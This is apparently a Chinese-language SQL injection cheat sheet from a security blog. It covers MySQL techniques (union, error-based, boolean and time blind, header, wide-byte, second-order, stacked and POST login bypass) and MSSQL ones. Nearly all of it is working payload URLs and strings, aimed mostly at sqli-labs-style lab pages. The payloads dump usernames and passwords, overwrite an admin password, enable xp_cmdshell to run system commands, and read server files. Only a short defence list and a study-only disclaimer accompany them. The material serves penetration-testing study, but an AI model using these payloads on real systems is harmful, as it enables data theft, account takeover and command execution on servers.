MySQL
联合注入
- 通过
union
关键字,将恶意代码带入数据库执行
步骤
判断注入点
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 and 1=1
and两边都为真,回显正常,有数据
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 and 1=2
and一边为真一边为假,回显异常,无数据
构造闭合(字符型)
①在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' -- s
//判断是否为字符型
②在URL链接中附加字符串' -- s即
http://xxx.xxx.xxx/abc.php?p=YY' and 1=1 -- s //结果返回正常
③在URL链接中附加字符串' -- s即
http://xxx.xxx.xxx/abc.php?p=YY' and 1=2 -- s //结果返回异常
则通过①②③判断出为字符型
常用构造闭合符号:
单引号' 双引号" 单引号+括号') 双引号+括号")
常用注释符号:
--空格(经常会在其后面加上一个任意字母区分括号eg:-- s)
判断字段数量
order by:排序
注意:如果是数字型注入,也有必要加上注释 # 或者 --空格,因为,在数据传递的时候,不知道
order by后面是否跟了其他语句
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 order by 3
判断字段数量,返回正常,说明至少存在3个字段
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 order by n
返回异常,说明不存在n列
union联合查询,判断回显点
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 union select 1,2,3
爆数据
user() database() version()
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=-1
#-1是让前面的代码失效(不占回显位) 好执行后面我们想要执行的爆库语句()
union select 1,user(),database()
爆所有库名
http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,user(),group_concat(schema_name)
from information_schema.schemata
爆security库名中的所有表名
http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,2, group_concat(TABLE_NAME)
from information_schema.TABLES WHERE TABLE_SCHEMA=database();
爆security库名中users表中的所有字段
http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,2, group_concat(column_name)
from information_schema.columns
WHERE TABLE_SCHEMA=database() and table_name="users"
爆users表中的用户,密码
http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,group_concat(username), group_concat(password)
from users
报错注入
- 后台没有对数据库报错信息进行处理,将错误信息返回给前台
- 通过报错函数构造payload,通过报错信息返回查询的信息
- 相关函数
- extractvalue
- updatexml
- floor
步骤
判断是否可以注入
123') or 1=1 -- s //返回正常,登录成功
123') or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入
报错方法获取数据库
123') or extractvalue('1',concat("~~",(database()))) -- s
报错方法获取表
123') or extractvalue('1',concat("~~",(select group_concat(table_name)
from information_schema.tables where table_schema=database()))) -- s
报错方法获取字段
123') or extractvalue('1',concat("~~",(select group_concat(column_name)
from information_schema.columns where
table_schema=database() and table_name="users"))) -- s
报错方法获取数据
123') or extractvalue('1',concat("~~",(select group_concat(username)
from users))) -- s
盲注
- 通过观察应用程序的响应或者延迟来判断数据库信息是否正确
- 二分法
- 可以通过DNSlog外带
- 相关函数
- 布尔
- 通过长度判断length():length(database())>=x
- 通过字符判断substr():substr(database(),1,1) ='s'
- 通过ascII码判断:ascii():ascii(substr(database(),1,1)) =x
- 时间
- left(m,n) --从左向右截取字符串m返回其前n位
- substr(m,1,1) --取字符串m的左边第一位起,1字长的字符串
- ascii(m) --返回字符m的ASCII码
- if(str1,str2,str3)--如果str1正确就执行str2,否则执行str3
- sleep(m)--使程序暂停m秒
- length(m) --返回字符串m的长度
- count(column_name) --返回指定列的值的数目
- 布尔
步骤
布尔盲注
- 首先判断注入点,既不能联合也不能报错
- 尝试布尔盲注,首先判断当前数据库长度
二分法判断长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>10 -- s //返回false 0-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>5 -- s //返回true 5-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>7 -- s //返回true 7-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>8 -- s //返回false
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())=8 -- s //返回true 确定长度为8
- 判断库名具体字符
判断第1个字符(二分法,依次判断ascii码(33-127)) 方法与步骤2一致
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr(database(),1,1))=115 -- s
判断第2个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr(database(),2,1))=115 -- e
... ...
直到判断库名为8个字符的security
- 判断表长度(方法同上 二分法)
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and length((select table_name from
information_schema.tables
where table_schema=database() limit 0,1))=6 -- s (例子:emails)
#limit 0,1 限制此时判断的为第1个表
#limit 1,1 限制此时判断的为第2个表
... ...依此类推
- 判断表名具体字符(方法同上 二分法 判断ascii码)
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),1,1))=101 -- s #(e)
|| ||
第1个表 ||
第一个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),2,1))=101 -- s #(m)
... ...
直到找到所有表以及表名 或者想要的用户表
- 找到想要的表以及字段(方法同上)后,获取内容
users表为例 字段为username 数据为Dumb
#判断数据长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and length((select username from users limit 0,1))=4 -- s
#limit 0,1 表示第1条数据
#limit 1,1 表示第2条数据
... ...
#判断内容
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ASCII(substr((select username from
users limit 0,1),1,1))=68 -- s
||
第一个字符=68 =》D
... ...
依此类推 第一条数据为 Dumb
直到判断出username字段所有数据
时间盲注
- 首先判断注入点,既不能联合也不能报错,且没有内容变化
- 尝试时间盲注,首先判断当前数据库长度
二分法判断长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>10),sleep(2),1) -- s //直接返回 0-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>5),sleep(2),1) -- s //延时2秒 5-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>7),sleep(2),1) -- s //延时2秒 7-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>8),sleep(2),1) -- s //直接返回
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())=8),sleep(2),1) -- s //延时2秒 确定长度为8
- 判断库名具体字符
判断第1个字符(二分法,依次判断ascii码(33-127)) 方法与步骤2一致
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(2),1) -- s
判断第2个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr(database(),2,1))=115),sleep(2),1) -- e
... ...
直到判断库名为8个字符的security
- 判断表长度(方法同上 二分法)
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((length((select table_name from
information_schema.tables
where table_schema=database() limit 0,1))=6),sleep(2),1) -- s (例子:emails)
#limit 0,1 限制此时判断的为第1个表
#limit 1,1 限制此时判断的为第2个表
... ...依此类推
- 判断表名具体字符(方法同上 二分法 判断ascii码)
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),1,1))=101),sleep(2),1) -- s #(e)
|| ||
第1个表 ||
第1个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),2,1))=101),sleep(2),1) -- s #(m)
... ...
直到找到所有表以及表名 或者想要的用户表
- 找到想要的表以及字段(方法同上)后,获取内容
users表为例 字段为username 数据为Dumb
#判断数据长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((length((select username
from users limit 0,1))=4),sleep(2),1) -- s
#limit 0,1 表示第1条数据
#limit 1,1 表示第2条数据
... ...
#判断内容
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ASCII(substr((select username from
users limit 0,1),1,1))=68),sleep(2),1) -- s
||
第一个字符=68 =》D
... ...
依此类推 第一条数据为 Dumb
直到判断出username字段所有数据
header注入
- 注入点
- UA
- REFEDER
- X-FORWORDED-FOR
- COOKIE
- 方式
- 联合
- 报错
- 盲注
注意:
- 进行head注入时,应该知道其中的一个账号密码(可用暴力破解),之后再修改UA头
- 除了UA头还有referer头,IP头
- IP头:HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR、HTTP_X_FORWARDED、HTTP_FORWARDED_FOR、HTTP_FORWARDED
步骤
以UA头为例
修改UA头报错
User-Agent: 1'
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use
near '127.0.0.1', 'admin')' at line 1
insert into 表名(字段,字段,字段) values( 值 , 值 , 值 )
|| || ||
UA ip admin
|| || ||
insert into 表名(字段,字段,字段) values( 值 , '127.0.0.1', 'admin')
||
1'
构造SQL语句字段
User-Agent: 123','1','123') #
... ... ... values('123','1','123') #,'127.0.0.1','admin')
#重点:构造字段(先要判断有几个字段,字段中含有我们想要的SQL语句,位置在哪个字段都可)
#后面注释掉了原有的 2个字段 ip admin
#所以前面要构造闭合加上 )
爆数据库以及其他操作
User-Agent: 123','1'and Extractvalue
('1',concat("~~",database(),"~~")),'123') #
User-Agent: 123','1','123'and Extractvalue
('1',concat("~~",database(),"~~"))) #
User-Agent: 123'and Extractvalue
('1',concat("~~",database(),"~~")),'1','123') #
宽字节注入
- mysql默认使用GBK编码,会认为2个字符是一个汉字
- 前一个字符ASCII码要大于128,才会得到汉字范围
- php对参数使用函数addslashes做了限制,使用
\
,将引号转义
流程
(1) ?id=1' and 1=1 #
这是正常的语句,我们使用SQL语句看一下
select * from user where and 1=1 #' //可以成功闭合
当php使用函数对接受的参数做了处理后,将单引号转义,在单引号前面加上了 转义符“\"
在sql中的语句是:
select * from user where and 1=1 #'
# 这时代入数据库查看,这是明显没有注入成功的,因为前面的单引号被转义了,没有闭合
(2) 当我们代入了 %df 时,在数据库中就变成了
①select * from user where and 1=1 #'
②select * from user where and 1=1 #'
③select * from user where and 1=1 #'
* 这时,转义函数,还会对我们输入的单引号进行转义,转义成 `\'`
而GBK编码下,反斜杠`\`的十六进制表示是`5C`。
因此,当你传入的参数为`%df\'`,经过GBK编码处理后,`\`会被编码成`%5C`
* 所以传入数据库中的参数变成了`%df%5C'`
* 数据库对sql语句进行GBK编码后,会将`%df%5c`结合到一起组成 `運`
从而通过`%df`吃掉了反斜杠`\` 从而闭合掉了后面的引号,查询成功
步骤
- 闭合语句
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' -- s
- 判断注入点
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' and 1=1 -- s
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' and 1=2 -- s
- 判断字段
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' order by 3 -- s
- 尝试联合查询,定位回显点
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union select 1,2,3 -- s
- 爆出当前用户
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,user(),database() -- s
- 查找所有的库名
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,2,group_concat(schema_name) from
information_schema.schemata -- s
- 查找所有表名
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database() -- s
- 查找所有字段名
过滤了双引号,会报错
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' unio
n select 1,2,group_concat(column_name) fro
m information_schema.columns where table_schema=database() an
d table_name="users" -- s
方法:
①表名转16进制
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,2,group_concat(column_name) from
information_schema.columns where
table_schema=database() and table_name=0x7573657273 -- s
②子查询
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,2,group_concat(column_name) from
information_schema.columns where
table_schema=database() and
table_name=(select table_name from information_schema.tables where
table_schema=database() limit 3,1) -- s
二次注入
- 恶意数据写入数据库后,去调用存在问题的数据,造成恶意代码执行
- 利用
- 获取数据
- 绕过验证(POST型-登录)
- 提权
- DOS攻击
- SQL注入执行高效率查询语句消耗服务器资源
步骤
第一次插入恶意代码值:
插入的值:admin' -- s
经过后端过滤之后变成:admin\' -- s
存储到数据库的时候,数据库把反斜杠给去掉了,这时候就变成原来的值:admin' -- s
第二次执行的操作,调用了第一次插入的值admin' -- s
update users set password='admin' where username='admin' -- s'
实际上修改的是账号:admin (后面的 -- s'为注释,不起作用)
select * from users where username='admin' -- s'
delete from users where username='admin' -- s'
注意
可能在网站开发时,会对用户输入的数据进行去空格处理,此时使用注释 --空格 可能会存在问题
因此可用 # 进行构造
堆叠注入
- 由于
;
,使得多条sql语句能够一起执行,在;
后面构造恶意代码 - 防御:mysqli_ query函数 限制查询条数
步骤
堆叠注入SQL语句:
select * from users where id='1';
select if(length(database())>5,sleep(5),1)%23;
Payload=
1';select if(length(database())>5,sleep(5),1)%23
Payload=
1';select if(substr(user(),1,1)='r',sleep(3),1)%23
payload=
1';insert into users(id,username,password) value (666,'zgao','zgao') --+
payload=
1';update users set password = '12345678' where username='admin' -- s
如此句:从堆叠注入语句中可以看出,第二条SQL语句(select if(substr(user(),1,1)=‘r’,sleep(3),1)%23就是时间盲注的语句。
堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句。
POST注入
- post注入思路和get显错位注入思路一致
- 只是请求的方法从get变为了post
一般的基本思路如下,以登录框为注入点为例(密码随便输入):
tips:
万能密码:
xxx' or 1=1 #
1.已知一个用户
- eg:admin
- 使用连接符and
判断是否可以注入
admin' and 1=1 -- s //返回正常,登录成功
admin' and 1=2 -- s //登录失败
说明and被带入到数据库中执行了,进而证明存在sql注入
#闭合符号'需要进行判断确定
判断字段数 =》 order by
admin' order by 3
判断回显位置 =》 union
1231' union select 1,2,3 -- s
得到数据库名字 =》 database()
1231' union select 1,database(),user() -- s
得到表名 =》 information_schema.tables
1231' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema=database() -- s
得到字段名 =》 information_schema.columns
1231' union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema=database()
and table_name="users" -- s
获取数据
1231' union select 1,2,group_concat(username) from users
2.不知道用户名
- 使用连接符or
- 结合报错注入(通常在没有回显时使用)
判断是否可以注入
123' or 1=1 -- s //返回正常,登录成功
123' or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入
报错方法获取数据库
123' or extractvalue('1',concat("~~",(database()))) -- s
报错方法获取表
123' or extractvalue('1',concat("~~",(select group_concat(table_name)
from information_schema.tables where table_schema=database()))) -- s
报错方法获取字段
123' or extractvalue('1',concat("~~",(select group_concat(column_name)
from information_schema.columns where
table_schema=database() and table_name="users"))) -- s
报错方法获取数据
123' or extractvalue('1',concat("~~",(select group_concat(username)
from users))) -- s
ps:如果数据过多无法完全显示,可以使用substr,limit等函数进行输出限制
防御
- 对用户输入进行严格过滤
- 使用waf
- 定期审查更新代码,识别修复SQL注入漏洞点
Sqlserver
常识
- mssql系统自带数据库: master
- 每个库都有一个系统自带表(系统对象表):sysobjects
- sysobjects三个字段:NAME XTYPE ID
where xtype='x' and name='xp_cmdshel' #以x开头 名称为xp_cmdshel
* S:系统表
* U:用户创建表\*\*(注意为大写)\*\*
* **小写为过滤条件**
- id:连接syscolumns表 (相对于存储的字段信息)
- name:表名信息
- xtype:表的常见类型
- syscolumns表:保存当前数据库中的所有列名 (通过name关键字来表示,此时的name不是表名信息的name)
#查找users表中的第一个字段
select top 1 name from syscolumns where id=(select id from sysobjects where name='users')
- top关键字:输出限制,相当于MySQL中的limit
- 用法:top + 数字
- stuff替换字符串
STUFF (字符表达式, 开始位置, 长度, 替换字符串表达式) # 包含开始位置
# 字符表达式:你想要修改的字符串表达式。
# 开始位置:你想要开始替换字符的字符串内起始位置。
# 长度:要替换的字符数。
# 替换字符串表达式:将替换开始位置和长度参数指定的字符的新字符串。
#例:
SELECT STUFF('Hello World', 7, 5, 'Universe')
这个查询会返回 "Hello Universe"。原始字符串是 "Hello World",它会从第七个位置开始('W'的位置),删除长度为5的子串('World'),然后用 "Universe" 替换它。
- 常用参数
select @@version --查询数据库的版本
select host_name() --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name() --查询当前数据库名
select db_name(1) --查询第一个数据库名
select db_name(2) --查询第二个数据库名,前6个数据库为默认库
select user --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
注释符 --
- **is_srvrolemember('server_role')**查询数据库权限 正确返回1
- server_role
- sysadmin 系统管理员
- serveradmin 服务器管理员
- setupadmin 安装程序管理员
- securityadmin 安全管理员
- processadmin 进程管理员
- diskadmin 磁盘管理员
- dbcreator 数据库创建者
- bulkadmin 大容量插入创建者
- public默认的、预定义的角色,sqlserver实例中每个登录用户的默认角色
- server_role
- **is_member('database_role')**查询数据库角色 正确返回1
- database_role
- db_owner****数据库所有者
- db_ddladmin****数据库DDL管理员(创建、修改、删除表)
- db_accessadmin 数据库访问管理员。具有管理数据库用户访问权限的权限。
- db_securityadmin 数据库安全管理员。具有管理数据库角色、权限和访问控制列表的权限。
- db_backupoperator 数据库备份操作员。具有备份数据库的权限。
- db_datareader 数据库数据读取者。具有读取数据库中所有表和视图的权限。
- db_datawriter 数据库数据写入者。具有向数据库中所有表写入数据的权限。
- db_denydatareader 拒绝数据库数据读取者
- db_denydatawriter 拒绝数据库数据写入者
- database_role
- 盲注函数
- len() 判断长度
- substring() 截取字符串
- ascii() 返回字符ASCII码
- waitfor delay '时:分:秒' 延时
联合注入
#判断是否存在注入点
mssql.php?id=1 and 1=1 --
#判断是否为mssql数据库
mssql.php?id=1 and exists(select * from sysobjects) --
#判断字段长度
mssql.php?id=1 order by 3 -- #正常
mssql.php?id=1 order by 4 -- #报错
#判断回显位
mssql.php?id=-1 union select 11,22,33 --
#爆数据库名,版本信息
mssql.php?id=-1 union select 11,db_name(),@@version --
#爆表名(假设库名为kaiwen)
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' -- #所有表名
#模糊查表
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' and name LIKE '%users%' -- #模糊查询含有‘users’的表
#爆列(字段)名(假设表名为user)
mssql.php?id=-1 union select 11,db_name(),col_name(object_id('users'),1) from sysobjects -- #其中1代表 user表中的第1列
... ...
#爆数据(假设字段为username、password)
mssql.php?id=-1 union select 11,db_name(),username from users
mssql.php?id=-1 union select 11,db_name(),password from users
- 嵌套语句
#查库
-- 查询前1条数据
select top 1 name from master..sysdatabases
-- 查询前2条数据
select top 2 name from master..sysdatabases
-- 查询第3条数据
-- 这里使用嵌套语法,查询第1条不存在于前2条的数据,即查询第3条数据。也就是先排除前2条数据再查询第1条,即原来表中的第3条
select top 1 name from master..sysdatabases where name not in (select top 2 name from master..sysdatabases)
#查表
#方式一:
select top 1 name from 库名..sysobjects where name not in (select top 1 name from master..sysobjects) #第二个表
#方式二:
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’)) #查 不是users表的下一个表
报错注入
函数
convert()
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()
convert()函数
#查询基本信息
convert(int,@@version) 获取版本信息
convert(int,db_name()) 数据库名字
convert(int,user) 当前⽤户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息
#当前数据库
?id=2 and 1=convert(int,db_name()) --
--或者
?id=convert(int,db_name()) --
--或者
?id=1 and 1=convert(int,db_name(0)) -- --查询当前数据库
?id=1 and 1=convert(int,db_name(1)) -- --查询第二个数据库,以此类推
#查表名(用户创建的)
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.sysobjects where xtype = 'U')) --
#查列名
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.syscolumns where id = object_id(‘users’))) --
#爆数据
?id=1 and 1=convert(int,(select top 1 username+password from users )) --
盲注
#布尔盲注
#判断是否存在盲注
and 1=1-- --正常显示
and 1=2-- --不正常
#猜测数据库名长度
/mssql.php?id=2 and len((select db_name()))=3 -- --数据库名长度为3个字符,页面不显示
/mssql.php?id=2 and len((select db_name()))=4 -- --数据库名长度为4个字符,页面正常显示
#获取库名
?id=2 and ascii(substring((select db_name()),1,1))>78 --
?id=2 and ascii(substring((select db_name()),1,1))=78 --
-- 查询数据库名第一个字符的ascii码为78,对应字母N
#时间盲注
#判断是否存在注入点
?id=2 WAITFOR DELAY '0:0:5' --
#猜测库名长度
?id=2 if (len((select db_name()))=4) WAITFOR DELAY '0:0:4' --数据库长度为4字符则延时4s
#猜测库名
?id=2 if (ascii(substring((select top 1 db_name()),1,1))=78) WAITFOR DELAY '0:0:4' --延时响应4s
进阶
多语句注入
原SQL语句后拼接分号;
进行闭合原语句,之后再拼接其它类型的SQL语句。
1'; exec xp_cmdshell 'whoami > c:\temp.txt' --
判断库站分离
- `Servername`服务名,位于Web端
- `Host_name`数据库系统名,位于数据库端
-- 若正常回显则站库不分离,反之分离
1' and ((select host_name()) = (select @@SERVERNAME))
判断XP_CMDSHELL
是否开启
- 存储过程中的`XP_CMDSHELL`可执行系统命令,是后续提权的主要方式,从`MSSQL2005`版本之后默认关闭
-- 若正常回显则开启,反之不开启
1' and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel') --
#以x开头 名称为xp_cmdshel
-- 若不开启,可以在Web端通过多语句注入进行开启
1';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --
写入文件
- 通过`xp_cmdshell`执行系统命令写入文件
exec xp_cmdshell 'whoami > C:/temp.txt'
读取文件
- 创建临时表,将文件写入该表,然后查询,最后删除
create table temp(res varchar(8000)); # 创建表temp
bulk insert master.dbo.temp from 'C:/temp.txt';
#bulk inser 添加操作 通常用于处理大量数据
#master.dbo.temp master库中的dbo.temp表
select * from master.dbo.temp
drop table temp;
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)